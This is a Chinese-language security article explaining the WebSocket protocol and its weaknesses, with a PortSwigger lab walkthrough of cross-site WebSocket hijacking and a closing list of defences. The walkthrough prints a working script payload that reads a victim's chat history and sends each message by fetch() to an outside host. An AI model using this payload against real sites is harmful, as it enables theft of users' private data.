WebSocket安全性分析，你看懂了嗎？
websocket簡介
WebSocket 是HTML5一種新的網(wǎng)絡(luò)傳輸協(xié)議，位于 OSI 模型的應(yīng)用層，可在單個TCP連接上進行全雙工通信。WebSocket 建議于 TCP 協(xié)議之上，與 HTTP 協(xié)議有良好的兼容性。協(xié)議標(biāo)識符是ws；如果加密，則為wss。
WebSocket與HTTP的區(qū)別
HTTP協(xié)議時請求-響應(yīng)式的，一般是一個請求建立一次握手，在HTTP1.1版本開始，TCP連接可別復(fù)用。
HTTP協(xié)議只能由客戶端發(fā)送信息到服務(wù)端，服務(wù)端做出響應(yīng)。
WebSocket通信是雙向的，既可以由客戶端發(fā)送信息，到服務(wù)端。也可以有服務(wù)端發(fā)送信息到客戶端。
WebSocket通信建立過程
websocket通常是由客戶端JavaScript腳本創(chuàng)建
var ws = new WebSocket("wss://normal-website.com/chat");
為了建立連接，會通過HTTP協(xié)議發(fā)送一個請求，告訴服務(wù)器接下來要使用websocket進行通信，如果服務(wù)器同意請求，接下來就會進行三次握手。
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WebSocket 握手消息的幾個特性值得注意：
請求和響應(yīng)中 的Connection和Upgrade標(biāo)頭表明這是一次 WebSocket 握手。
Sec-WebSocket-Version請求頭指定WebSocket協(xié)議版本的客戶端希望使用。通常是13.
Sec-WebSocket-Key請求報頭包含Base64編碼的隨機值，這應(yīng)該在每個握手請求是隨機產(chǎn)生的。并不是用于身份認(rèn)證的。
Sec-WebSocket-Accept響應(yīng)報頭包含在提交的值的散列Sec-WebSocket-Key請求頭，具有在協(xié)議規(guī)范中定義的特定的字符串串聯(lián)。這樣做是為了防止錯誤配置的服務(wù)器或緩存代理導(dǎo)致誤導(dǎo)性響應(yīng)。
三次握手以后表示建立了客戶端與服務(wù)端建立websocket連接，可以通過websocket協(xié)議進行通信。
ws.send("hello websocket");
由于TCP協(xié)議是復(fù)用的，所以可以通過一次連接，發(fā)送多個信息。
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原則上，WebSocket 消息可以包含任何內(nèi)容或數(shù)據(jù)格式。在現(xiàn)代應(yīng)用程序中，通常使用 JSON 在 WebSocket 消息中發(fā)送結(jié)構(gòu)化數(shù)據(jù)。
WebSocket使用場景
基于WebSocket全雙工、延遲的特性，應(yīng)用場景比較廣泛。
- 聊天
- 彈幕
- 協(xié)同編輯
- 股票報價實施更新
- 位置更新
- 直播實況段落的首行要
WebSocket安全性分析
websocket僅僅是web程序中的一種通信協(xié)議，并不會解決web應(yīng)用中存在的安全問題。因此在HTTP協(xié)議中出現(xiàn)的安全問題在websocket中都可能出現(xiàn)。
目前對于HTTP協(xié)議的漏洞已經(jīng)很少了，可以去看看websocket協(xié)議的，說不定會有意想不到的發(fā)現(xiàn)。
1.常規(guī)漏洞
WebSocket中，用戶輸入可控的請求數(shù)據(jù)，數(shù)據(jù)被服務(wù)端進行處理，如果沒有進行有限的校驗，可能出現(xiàn)常見的Web漏洞，如XSS、SQL Inject、RCE等。
如下圖，正常發(fā)送會發(fā)現(xiàn)進行編碼
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可以直接抓包重放，改變值，成功利用。實際上跟http協(xié)議沒有什么區(qū)別。
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2.權(quán)限
認(rèn)證
websocket協(xié)議沒有規(guī)定在服務(wù)器在握手階段應(yīng)該如何認(rèn)證客戶端身份。服務(wù)器可以采用任何 HTTP 服務(wù)器的客戶端身份認(rèn)證機制，如 cookie認(rèn)證，HTTP 基礎(chǔ)認(rèn)證，TLS 身份認(rèn)證等。
因此，認(rèn)證實現(xiàn)方面的安全問題與基于HTTP的Web認(rèn)證并無區(qū)別。
如CVE-2015-0201，Spring框架的Java SockJS客戶端生成可預(yù)測的會話ID，攻擊者可利用該漏洞向其他會話發(fā)送消息
授權(quán)
WebSocket 協(xié)議依然沒有指定任何授權(quán)方式，因此關(guān)于權(quán)限的相關(guān)策略依然得依賴開發(fā)者在服務(wù)端實現(xiàn)，這就說明通過websocket協(xié)議與傳統(tǒng)的http協(xié)議面臨相同的安全風(fēng)險，如垂直越權(quán)和水平越權(quán)。
3.基于webSocket的CSRF漏洞（跨域請求/CSWSH）
該漏洞全稱叫做Cross-site WebSocket Hijacking，跨站點WebSocket劫持漏洞。當(dāng)WebSocket握手請求僅依靠HTTP cookie進行會話處理并且不包含任何CSRF token或其他不可預(yù)測的值時，就會出現(xiàn)這種漏洞。
判斷websocket中是否存在跨域問題
檢查應(yīng)用程序執(zhí)行的WebSocket握手過程是否針對CSRF進行了保護。除了在cookie中該消息不依賴其它的值進行會話處理。如下面的請求僅僅依靠session token來進行會話處理，那么就會存在這種漏洞。
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通過portSwigger的靶場進行復(fù)現(xiàn)
Lab: Cross-site WebSocket hijacking
在live chat中首先驗證websocket是否存在csrf。可以看到僅僅依靠cookie來進行會話處理，說明存在漏洞
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在確認(rèn)存在這個漏洞以后，我們就要去編寫我們的payload，首先我們發(fā)現(xiàn)在建立websocket連接以后，發(fā)送READY字符串，服務(wù)端就會把歷史聊天記錄返回，那么我們就通過這種方式去利用。
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首先通過new websocket與服務(wù)端建立連接，然后通過ws.send('READY')像服務(wù)端發(fā)送READY。當(dāng)服務(wù)端收到READY字符串時，就會把歷史的聊天記錄返回回來。這個js收到歷史記錄以后就可以訪問burp的collaborator并帶著敏感數(shù)據(jù)。
payload如下：
<script>
// Create WebSocket connection.
var ws = new WebSocket("wss://web-security-academy.net/chat");
// Connection opened
ws.addEventListener('open', function (event) {
ws.send('READY');
});
// Listen for messages
ws.onmessage = function(event) {
fetch('https://you-site.net/?log'+event.data, {mode: 'no-cors'})
};
</script>在portSwigger的exploit server中設(shè)置自己的payload
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設(shè)置好payload，然后讓登錄的瀏覽器去訪問。在這個靶場也就是點擊Deliver exploit to victim
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然后再burp上就可以看到信息
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這種漏洞的一種修復(fù)方式就是在服務(wù)端驗證Origin頭，如果客戶端發(fā)來的 Origin 信息來自不同域，服務(wù)器端可以拒絕該請求。但是僅僅檢查 Origin 仍然是不夠安全的，惡意網(wǎng)頁可以偽造Origin頭信息，繞過服務(wù)端對Origin頭的檢查，更完善的解決方案可以借鑒CSRF的解決方案-令牌機制。
websocket安全問題如何預(yù)防
- 正確驗證輸入輸出的數(shù)據(jù)，跟http協(xié)議一樣
- 使用CSRF Token、請求頭令牌等方案保護WebSocket握手流程，防止WebSocket握手流程被CSRF攻擊所利用。
- 使用wss://協(xié)議，（基于TLS的Websockets）
- 在服務(wù)器進行授權(quán)，防止越權(quán)的產(chǎn)生。
參考鏈接
https://www.freebuf.com/articles/web/336291.html
https://security.tencent.com/index.php/blog/msg/119
https://freebuf.com/vuls/328279.html
